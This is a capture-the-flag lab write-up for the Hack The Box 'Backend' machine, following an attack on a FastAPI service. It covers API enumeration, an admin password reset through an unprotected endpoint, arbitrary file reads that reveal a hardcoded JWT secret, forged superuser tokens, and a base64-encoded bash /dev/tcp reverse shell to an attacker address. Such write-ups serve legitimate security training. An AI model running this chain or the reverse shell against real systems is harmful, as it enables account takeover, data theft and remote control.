Backend
13 minutes to read
- OS: Linux
- Difficulty: Medium
- IP Address: 10.10.11.161
- Release: 12 / 04 / 2022
Port scanning
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.161 -p 22,80
Nmap scan report for 10.10.11.161
Host is up (0.21s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
| 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
80/tcp open http uvicorn
|_http-server-header: uvicorn
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| content-type: text/plain; charset=utf-8
| Connection: close
| Invalid HTTP request received.
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| date:
| server: uvicorn
| content-length: 22
| content-type: application/json
| Connection: close
| {"detail":"Not Found"}
| GetRequest:
| HTTP/1.1 200 OK
| date:
| server: uvicorn
| content-length: 29
| content-type: application/json
| Connection: close
| {"msg":"UHC API Version 1.0"}
| HTTPOptions:
| HTTP/1.1 405 Method Not Allowed
| date:
| server: uvicorn
| content-length: 31
| content-type: application/json
| Connection: close
|_ {"detail":"Method Not Allowed"}
|_http-title: Site doesn't have a title (application/json).
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 80.81 seconds
This machine has ports 22 (SSH) and 80 (HTTP) open.
Enumeration
The machine is hosting an API, we can interact with it directly from command line using curl
:
$ curl 10.10.11.161
{"msg":"UHC API Version 1.0"}
$ curl -i 10.10.11.161
HTTP/1.1 200 OK
date:
server: uvicorn
content-length: 29
content-type: application/json
{"msg":"UHC API Version 1.0"}
It is using uvicorn
. If we apply fuzzing, we see two endpoints:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://10.10.11.161/FUZZ
docs [Status: 401, Size: 30, Words: 2, Lines: 1, Duration: 204ms]
api [Status: 200, Size: 20, Words: 1, Lines: 1, Duration: 155ms]
[Status: 200, Size: 29, Words: 4, Lines: 1, Duration: 198ms]
API enumeration
We are not allowed to access /docs
endpoint:
$ curl -i 10.10.11.161/docs
HTTP/1.1 401 Unauthorized
date:
server: uvicorn
www-authenticate: Bearer
content-length: 30
content-type: application/json
{"detail":"Not authenticated"}
On the other hand, /api
shows another endpoint:
$ curl -i 10.10.11.161/api
HTTP/1.1 200 OK
date:
server: uvicorn
content-length: 20
content-type: application/json
{"endpoints":["v1"]}
And then another two are unveiled:
$ curl -i 10.10.11.161/api/v1
HTTP/1.1 200 OK
date:
server: uvicorn
content-length: 30
content-type: application/json
{"endpoints":["user","admin"]}
But we can’t access them directly:
$ curl -i 10.10.11.161/api/v1/user
HTTP/1.1 404 Not Found
date:
server: uvicorn
content-length: 22
content-type: application/json
{"detail":"Not Found"}
$ curl -i 10.10.11.161/api/v1/admin
HTTP/1.1 307 Temporary Redirect
date:
server: uvicorn
location: http://10.10.11.161/api/v1/admin/
Transfer-Encoding: chunked
$ curl -i 10.10.11.161/api/v1/admin/
HTTP/1.1 401 Unauthorized
date:
server: uvicorn
www-authenticate: Bearer
content-length: 30
content-type: application/json
{"detail":"Not authenticated"}
We can try to fuzz for more endpoints although we are not allowed:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://10.10.11.161/api/v1/admin/FUZZ
file [Status: 405, Size: 31, Words: 3, Lines: 1, Duration: 115ms]
$ curl -iX POST 10.10.11.161/api/v1/admin/file
HTTP/1.1 401 Unauthorized
date:
server: uvicorn
www-authenticate: Bearer
content-length: 30
content-type: application/json
{"detail":"Not authenticated"}
We see that it needs authentication, probably based in JSON Web Token (JWT) due to the response header www-authenticate: Bearer
.
Since we need to authenticate, we must find a way to create an account. We see that /api/v1/user/asdf
responds with useful information (actually whatever word appended to /api/v1/user/
):
$ curl -i 10.10.11.161/api/v1/user/asdf
HTTP/1.1 422 Unprocessable Entity
date:
server: uvicorn
content-length: 104
content-type: application/json
{"detail":[{"loc":["path","user_id"],"msg":"value is not a valid integer","type":"type_error.integer"}]}
$ curl -s 10.10.11.161/api/v1/user/asdf | jq
{
"detail": [
{
"loc": [
"path",
"user_id"
],
"msg": "value is not a valid integer",
"type": "type_error.integer"
}
]
}
This error tells us that the path is not a valid integer. Hence, let’s try an integer:
$ curl -i 10.10.11.161/api/v1/user/1
HTTP/1.1 200 OK
date:
server: uvicorn
content-length: 141
content-type: application/json
{"guid":"36c2e94a-4271-4259-93bf-c96ad5948284","email":"admin@htb.local","date":null,"time_created":1649533388111,"is_superuser":true,"id":1}
$ curl -s 10.10.11.161/api/v1/user/1 | jq
{
"guid": "36c2e94a-4271-4259-93bf-c96ad5948284",
"email": "admin@htb.local",
"date": null,
"time_created": 1649533388111,
"is_superuser": true,
"id": 1
}
So there are users signed up on the API (user enumeration). Let’s try to sign up as well.
Registering a new account
The common HTTP method used in an API for this purpose is POST:
$ curl -iX POST 10.10.11.161/api/v1/user/signup
HTTP/1.1 422 Unprocessable Entity
date:
server: uvicorn
content-length: 81
content-type: application/json
{"detail":[{"loc":["body"],"msg":"field required","type":"value_error.missing"}]}
$ curl -sX POST 10.10.11.161/api/v1/user/signup | jq
{
"detail": [
{
"loc": [
"body"
],
"msg": "field required",
"type": "value_error.missing"
}
]
}
This error is obvious because we have not inserted any request body. Let’s use an empty JSON document:
$ curl 10.10.11.161/api/v1/user/signup -d '{}' -sH 'Content-Type: application/json' | jq
{
"detail": [
{
"loc": [
"body",
"email"
],
"msg": "field required",
"type": "value_error.missing"
},
{
"loc": [
"body",
"password"
],
"msg": "field required",
"type": "value_error.missing"
}
]
}
And here we see the required fields: email
and password
. Let’s create an account:
$ curl 10.10.11.161/api/v1/user/signup -d '{"email":"7rocky@htb.local","password":"asdffdsa"}'' -sH 'Content-Type: application/json' | jq
{}
There’s no output, but we can assume that the account has been created. Let’s try to log in:
$ curl 10.10.11.161/api/v1/user/login -d '{"email":"7rocky@htb.local","password":"asdffdsa"}'' -sH 'Content-Type: application/json' | jq
{
"detail": [
{
"loc": [
"body",
"username"
],
"msg": "field required",
"type": "value_error.missing"
},
{
"loc": [
"body",
"password"
],
"msg": "field required",
"type": "value_error.missing"
}
]
}
This error tells us that email
should be replaced by username
. But it doesn’t work either:
$ curl 10.10.11.161/api/v1/user/login -d '{"username":"7rocky@htb.local","password":"asdffdsa"}'' -sH 'Content-Type: application/json' | jq
{
"detail": [
{
"loc": [
"body",
"username"
],
"msg": "field required",
"type": "value_error.missing"
},
{
"loc": [
"body",
"password"
],
"msg": "field required",
"type": "value_error.missing"
}
]
}
Let’s change the body format to application/x-www-form-urlencoded
(the default format in curl
):
$ curl 10.10.11.161/api/v1/user/login -sd 'username=7rocky@htb.local&password=asdffdsa' | jq
{
"access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjUwNjgwMzMzLCJpYXQiOjE2NDk5ODkxMzMsInN1YiI6IjE1IiwiaXNfc3VwZXJ1c2VyIjpmYWxzZSwiZ3VpZCI6IjE0YWFhNmRlLTJkMDktNDRiZi1iZDRjLTQ1OTU1MzFhNzIxMiJ9.6Utga3uFcK8GO8oAX81jC2mrFZEal9QoyhH1OJMPYfg",
"token_type": "bearer"
}
And there we have our JWT token. Let’s decode it in jwt.io:
There is a key named is_superuser
, which is false
. It seems clear that we need to generate a token that has is_superuser
set to true
.
Reading the documentation
Let’s try to access the /docs
endpoint providing the token:
$ curl 10.10.11.161/docs -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjUwNjgwMzMzLCJpYXQiOjE2NDk5ODkxMzMsInN1YiI6IjE1IiwiaXNfc3VwZXJ1c2VyIjpmYWxzZSwiZ3VpZCI6IjE0YWFhNmRlLTJkMDktNDRiZi1iZDRjLTQ1OTU1MzFhNzIxMiJ9.6Utga3uFcK8GO8oAX81jC2mrFZEal9QoyhH1OJMPYfg'
<!DOCTYPE html>
<html>
<head>
<link type="text/css" rel="stylesheet" href="https://cdn.jsdelivr.net/npm/swagger-ui-dist@3/swagger-ui.css">
<link rel="shortcut icon" href="https://fastapi.tiangolo.com/img/favicon.png">
<title>docs</title>
</head>
<body>
<div id="swagger-ui">
</div>
<script src="https://cdn.jsdelivr.net/npm/swagger-ui-dist@3/swagger-ui-bundle.js"></script>
<!-- `SwaggerUIBundle` is now available on the page -->
<script>
const ui = SwaggerUIBundle({
url: '/openapi.json',
"dom_id": "#swagger-ui",
"layout": "BaseLayout",
"deepLinking": true,
"showExtensions": true,
"showCommonExtensions": true,
presets: [
SwaggerUIBundle.presets.apis,
SwaggerUIBundle.SwaggerUIStandalonePreset
],
})
</script>
</body>
</html>
To view this response in the browser, we can use Burp Suite to intercept the request, set the Authorization
header and render the response in Burp Suite (Repeater):
There is an error requesting openapi.json
because the Authorization
header is not set for that single request. Instead, we can download it using curl
:
$ curl 10.10.11.161/openapi.json -o openapi.json -sH 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjUwNjgwMzMzLCJpYXQiOjE2NDk5ODkxMzMsInN1YiI6IjE1IiwiaXNfc3VwZXJ1c2VyIjpmYWxzZSwiZ3VpZCI6IjE0YWFhNmRlLTJkMDktNDRiZi1iZDRjLTQ1OTU1MzFhNzIxMiJ9.6Utga3uFcK8GO8oAX81jC2mrFZEal9QoyhH1OJMPYfg'
And then import it in Swagger:
And these are all the available endpoints:
At this point, we can get the user.txt
flag performing a PUT request to /api/v1/user/SecretFlagEndpoint
:
$ curl -X PUT 10.10.11.161/api/v1/user/SecretFlagEndpoint
{"user.txt":"50b343d5b2d4d836abdc7320b87ee384"}
Foothold
There is an endpoint /api/v1/user/updatepass
that needs only a few parameters:
Getting a privileged user
Only the guid
and the new password (password
). Maybe we are able to change the password for user admin
(its guid
is 36c2e94a-4271-4259-93bf-c96ad5948284
):
$ curl -s 10.10.11.161/api/v1/user/1 | jq
{
"guid": "36c2e94a-4271-4259-93bf-c96ad5948284",
"email": "admin@htb.local",
"date": null,
"time_created": 1649533388111,
"is_superuser": true,
"id": 1
}
$ curl 10.10.11.161/api/v1/user/updatepass -d '{"guid":"36c2e94a-4271-4259-93bf-c96ad5948284","password":"asdffdsa"}' -sH 'Content-Type: application/json' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjUwNjgwMzMzLCJpYXQiOjE2NDk5ODkxMzMsInN1YiI6IjE1IiwiaXNfc3VwZXJ1c2VyIjpmYWxzZSwiZ3VpZCI6IjE0YWFhNmRlLTJkMDktNDRiZi1iZDRjLTQ1OTU1MzFhNzIxMiJ9.6Utga3uFcK8GO8oAX81jC2mrFZEal9QoyhH1OJMPYfg' | jq
{
"date": null,
"id": 1,
"is_superuser": true,
"hashed_password": "$2b$12$Fqdwt6M5VTxcCM3VSxctwe3o5IUhuWSnSeOHvxNd8GPgUxzW1XoqS",
"guid": "36c2e94a-4271-4259-93bf-c96ad5948284",
"email": "admin@htb.local",
"time_created": 1649533388111,
"last_update": null
}
And now we can log in as admin
, we have its JWT token:
$ curl 10.10.11.161/api/v1/user/login -sd 'username=admin@htb.local&password=asdffdsa' | jq
{
"access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjUwNjg0MDU2LCJpYXQiOjE2NDk5OTI4NTYsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQifQ.P6m26MR7TVwHLU2dgH4v4UA3L-6z0Mrc_3eMz-Ggcvw",
"token_type": "bearer"
}
There is an endpoint that allows privileged users to execute commands:
Let’s try then:
$ curl 10.10.11.161/api/v1/admin/exec/whoami -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjUwNjg0MDU2LCJpYXQiOjE2NDk5OTI4NTYsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQifQ.P6m26MR7TVwHLU2dgH4v4UA3L-6z0Mrc_3eMz-Ggcvw'
{"detail":"Debug key missing from JWT"}
But we are not allowed yet, we need to add a debug
key in the JWT token to enable command execution.
Reading files from the server
There is another interesting endpoint that allows us to read files from the server (we saw it before with ffuf
):
This is /etc/passwd
:
$ curl 10.10.11.161/api/v1/admin/file -d '{"file":"/etc/passwd"}' -H 'Content-Type: application/json' -sH 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjUwNjg0MDU2LCJpYXQiOjE2NDk5OTI4NTYsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQifQ.P6m26MR7TVwHLU2dgH4v4UA3L-6z0Mrc_3eMz-Ggcvw'
{"file":"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nsystemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin\nsystemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin\nsystemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin\nmessagebus:x:103:106::/nonexistent:/usr/sbin/nologin\nsyslog:x:104:110::/home/syslog:/usr/sbin/nologin\n_apt:x:105:65534::/nonexistent:/usr/sbin/nologin\ntss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false\nuuidd:x:107:112::/run/uuidd:/usr/sbin/nologin\ntcpdump:x:108:113::/nonexistent:/usr/sbin/nologin\npollinate:x:110:1::/var/cache/pollinate:/bin/false\nusbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin\nsshd:x:112:65534::/run/sshd:/usr/sbin/nologin\nsystemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin\nhtb:x:1000:1000:htb:/home/htb:/bin/bash\nlxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false\n"}
We can put the JWT token into a variable and use jq
to extract the contents of the requested file, for convenience:
$ token='eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjUwNjg0MDU2LCJpYXQiOjE2NDk5OTI4NTYsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQifQ.P6m26MR7TVwHLU2dgH4v4UA3L-6z0Mrc_3eMz-Ggcvw'
$ curl 10.10.11.161/api/v1/admin/file -d '{"file":"/etc/passwd"}' -H 'Content-Type: application/json' -sH "Authorization: Bearer $token" | jq -r .file
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
htb:x:1000:1000:htb:/home/htb:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
Furthermore, we can create a Bash function called get_file
that takes a file path and prints its contents:
$ function get_file() { curl 10.10.11.161/api/v1/admin/file -d "{\"file\":\"$1\"}" -H 'Content-Type: application/json' -sH "Authorization: Bearer $token" | jq -r .file 2>/dev/null; }
Here we have user.txt
again:
$ get_file /home/htb/user.txt
50b343d5b2d4d836abdc7320b87ee384
There is no SSH private key available:
$ get_file /home/htb/.ssh/id_rsa
Internal Server Error
At this point, we need to find the source code for the API. Since we han read arbitrary files from the server, we can enumerate how processes are being run in /proc/<PID>/cmdline
, so let’s enumerate some:
$ for i in {1..1000}; do echo -n "$i: "; get_file /proc/$i/cmdline; echo; done | grep -a ': .' | grep -av Error
1: /sbin/initmaybe-ubiquity
478: /lib/systemd/systemd-journald
506: /lib/systemd/systemd-udevd
508: /lib/systemd/systemd-networkd
591: /sbin/multipathd-d-s
592: /sbin/multipathd-d-s
593: /sbin/multipathd-d-s
594: /sbin/multipathd-d-s
595: /sbin/multipathd-d-s
596: /sbin/multipathd-d-s
597: /sbin/multipathd-d-s
610: /lib/systemd/systemd-timesyncd
622: /usr/bin/VGAuthService
625: /usr/bin/vmtoolsd
644: /sbin/dhclient-1-4-v-i-pf/run/dhclient.ens160.pid-lf/var/lib/dhcp/dhclient.ens160.leases-I-df/var/lib/dhcp/dhclient6.ens160.leasesens160
645: /sbin/dhclient-1-4-v-i-pf/run/dhclient.ens160.pid-lf/var/lib/dhcp/dhclient.ens160.leases-I-df/var/lib/dhcp/dhclient6.ens160.leasesens160
646: /sbin/dhclient-1-4-v-i-pf/run/dhclient.ens160.pid-lf/var/lib/dhcp/dhclient.ens160.leases-I-df/var/lib/dhcp/dhclient6.ens160.leasesens160
647: /sbin/dhclient-1-4-v-i-pf/run/dhclient.ens160.pid-lf/var/lib/dhcp/dhclient.ens160.leases-I-df/var/lib/dhcp/dhclient6.ens160.leasesens160
649: /usr/lib/accountsservice/accounts-daemon
650: /usr/bin/dbus-daemon--system--address=systemd:--nofork--nopidfile--systemd-activation--syslog-only
655: /usr/lib/accountsservice/accounts-daemon
658: /usr/sbin/irqbalance--foreground
659: /usr/bin/python3/usr/bin/networkd-dispatcher--run-startup-triggers
660: /usr/lib/policykit-1/polkitd--no-debug
661: /usr/sbin/rsyslogd-n-iNONE
663: /usr/lib/policykit-1/polkitd--no-debug
666: /lib/systemd/systemd-logind
667: /usr/sbin/irqbalance--foreground
668: /usr/lib/udisks2/udisksd
669: /usr/sbin/runuser-uhtb--/home/htb/uhc/run.sh
673: /usr/sbin/rsyslogd-n-iNONE
674: /usr/sbin/rsyslogd-n-iNONE
675: /usr/sbin/rsyslogd-n-iNONE
688: /usr/lib/udisks2/udisksd
691: /home/htb/uhc/.venv/bin/python3/home/htb/uhc/.venv/bin/uvicorn--reload--host0.0.0.0--port80app.main:app
697: /usr/lib/policykit-1/polkitd--no-debug
698: /usr/lib/accountsservice/accounts-daemon
699: /usr/lib/udisks2/udisksd
702: /usr/sbin/ModemManager
708: /usr/bin/vmtoolsd
709: /usr/bin/vmtoolsd
712: /usr/lib/udisks2/udisksd
715: /usr/sbin/ModemManager
719: /usr/sbin/ModemManager
720: /usr/lib/udisks2/udisksd
725: /home/htb/uhc/.venv/bin/python3-cfrom multiprocessing.resource_tracker import main;main(4)
726: /home/htb/uhc/.venv/bin/python3-cfrom multiprocessing.spawn import spawn_main; spawn_main(tracker_fd=5, pipe_handle=7)--multiprocessing-fork
727: /lib/systemd/systemd-timesyncd
729: /usr/bin/vmtoolsd
796: /lib/systemd/systemd-resolved
837: /usr/sbin/cron-f
841: /usr/bin/python3/usr/share/unattended-upgrades/unattended-upgrade-shutdown--wait-for-signal
842: /usr/sbin/atd-f
843: sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
854: /sbin/agetty-o-p -- \u--nocleartty1linux
857: /usr/bin/python3/usr/share/unattended-upgrades/unattended-upgrade-shutdown--wait-for-signal
Here we find some interesting commands. We must parse them (there are null bytes, so we must replace them with white spaces):
669: /usr/sbin/runuser -u htb -- /home/htb/uhc/run.sh
691: /home/htb/uhc/.venv/bin/python3 /home/htb/uhc/.venv/bin/uvicorn --reload --host 0.0.0.0 --port 80 app.main:app
725: /home/htb/uhc/.venv/bin/python3 -c from multiprocessing.resource_tracker import main;main(4)
726: /home/htb/uhc/.venv/bin/python3 -c from multiprocessing.spawn import spawn_main; spawn_main(tracker_fd=5, pipe_handle=7) --multiprocessing-fork
In fact, the important one is process with PID 669, which is running a shell script /home/htb/uhc/run.sh
:
$ get_file /home/htb/uhc/run.sh
#!/bin/bash
cd /home/htb/uhc
source .venv/bin/activate
export APP_MODULE=${APP_MODULE-app.main:app}
export HOST=${HOST:-0.0.0.0}
export PORT=${PORT:-80}
python3 populateauth.py
exec uvicorn --reload --host $HOST --port $PORT "$APP_MODULE"
This can be a bit confusing, because there is no clear Python script being executed by uvicorn
(which is a Python framework). There is a reference to a module called app.main
. In Python, this is translated into app/main.py
:
$ get_file /home/htb/uhc/app/main.py
# ...
from app.schemas.user import User
from app.api.v1.api import api_router
from app.core.config import settings
from app import deps
from app import crud
app = FastAPI(title="UHC API Quals", openapi_url=None, docs_url=None, redoc_url=None)
root_router = APIRouter(default_response_class=UJSONResponse)
@app.get("/", status_code=200)
def root():
"""
Root GET
"""
return {"msg": "UHC API Version 1.0"}
@app.get("/api", status_code=200)
def list_versions():
"""
Versions
"""
return {"endpoints":["v1"]}
@app.get("/api/v1", status_code=200)
def list_endpoints_v1():
"""
Version 1 Endpoints
"""
return {"endpoints":["user", "admin"]}
@app.get("/docs")
async def get_documentation(
current_user: User = Depends(deps.parse_token)
):
return get_swagger_ui_html(openapi_url="/openapi.json", title="docs")
@app.get("/openapi.json")
async def openapi(
current_user: User = Depends(deps.parse_token)
):
return get_openapi(title = "FastAPI", version="0.1.0", routes=app.routes)
app.include_router(api_router, prefix=settings.API_V1_STR)
app.include_router(root_router)
def start():
import uvicorn
uvicorn.run(app, host="0.0.0.0", port=8001, log_level="debug")
if __name__ == "__main__":
# Use this for debugging purposes only
import uvicorn
uvicorn.run(app, host="0.0.0.0", port=8001, log_level="debug")
Here there is a reference to another module to import settings
(here we should find the secret key for the JWT implementation). This one is called app.core.config
, so the file we want to read is app/core/config.py
:
$ get_file /home/htb/uhc/app/core/config.py
from pydantic import AnyHttpUrl, BaseSettings, EmailStr, validator
from typing import List, Optional, Union
from enum import Enum
class Settings(BaseSettings):
API_V1_STR: str = "/api/v1"
JWT_SECRET: str = "SuperSecretSigningKey-HTB"
ALGORITHM: str = "HS256"
# 60 minutes * 24 hours * 8 days = 8 days
ACCESS_TOKEN_EXPIRE_MINUTES: int = 60 * 24 * 8
# BACKEND_CORS_ORIGINS is a JSON-formatted list of origins
# e.g: '["http://localhost", "http://localhost:4200", "http://localhost:3000", \\
# "http://localhost:8080", "http://local.dockertoolbox.tiangolo.com"]'
BACKEND_CORS_ORIGINS: List[AnyHttpUrl] = []
@validator("BACKEND_CORS_ORIGINS", pre=True)
def assemble_cors_origins(cls, v: Union[str, List[str]]) -> Union[List[str], str]:
if isinstance(v, str) and not v.startswith("["):
return [i.strip() for i in v.split(",")]
elif isinstance(v, (list, str)):
return v
raise ValueError(v)
SQLALCHEMY_DATABASE_URI: Optional[str] = "sqlite:///uhc.db"
FIRST_SUPERUSER: EmailStr = "root@ippsec.rocks"
class Config:
case_sensitive = True
settings = Settings()
And there we have the key used to sign the JWT tokens (SuperSecretSigningKey-HTB
). Now we can modify the previous token we had and set is_superuser
to true
and add debug
using jwt.io:
We can execute commands using this token:
$ curl '10.10.11.161/api/v1/admin/exec/whoami' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjUwNjgwMzMzLCJpYXQiOjE2NDk5ODkxMzMsInN1YiI6IjE1IiwiaXNfc3VwZXJ1c2VyIjp0cnVlLCJndWlkIjoiMTRhYWE2ZGUtMmQwOS00NGJmLWJkNGMtNDU5NTUzMWE3MjEyIiwiZGVidWciOnRydWV9.SDcrNRgb2R7ojSUmAwzRFsO-_UTVgIQAZOEyLfgU98A'
"htb"
In order to use white spaces, we must use URL encoding (%20
):
$ curl '10.10.11.161/api/v1/admin/exec/uname%20-a' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjUwNjgwMzMzLCJpYXQiOjE2NDk5ODkxMzMsInN1YiI6IjE1IiwiaXNfc3VwZXJ1c2VyIjp0cnVlLCJndWlkIjoiMTRhYWE2ZGUtMmQwOS00NGJmLWJkNGMtNDU5NTUzMWE3MjEyIiwiZGVidWciOnRydWV9.SDcrNRgb2R7ojSUmAwzRFsO-_UTVgIQAZOEyLfgU98A'
"Linux Backend 5.4.0-77-generic #86-Ubuntu SMP Thu Jun 17 02:35:03 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux"
Getting a reverse shell
So let’s get a reverse shell on the machine:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
$ curl $(sed 's/ /%20/g' <<< '10.10.11.161/api/v1/admin/exec/echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash') -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjUwNjgwMzMzLCJpYXQiOjE2NDk5ODkxMzMsInN1YiI6IjE1IiwiaXNfc3VwZXJ1c2VyIjp0cnVlLCJndWlkIjoiMTRhYWE2ZGUtMmQwOS00NGJmLWJkNGMtNDU5NTUzMWE3MjEyIiwiZGVidWciOnRydWV9.SDcrNRgb2R7ojSUmAwzRFsO-_UTVgIQAZOEyLfgU98A'
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.161.
Ncat: Connection from 10.10.11.161:37026.
bash: cannot set terminal process group (669): Inappropriate ioctl for device
bash: no job control in this shell
htb@Backend:~/uhc$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
htb@Backend:~/uhc$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
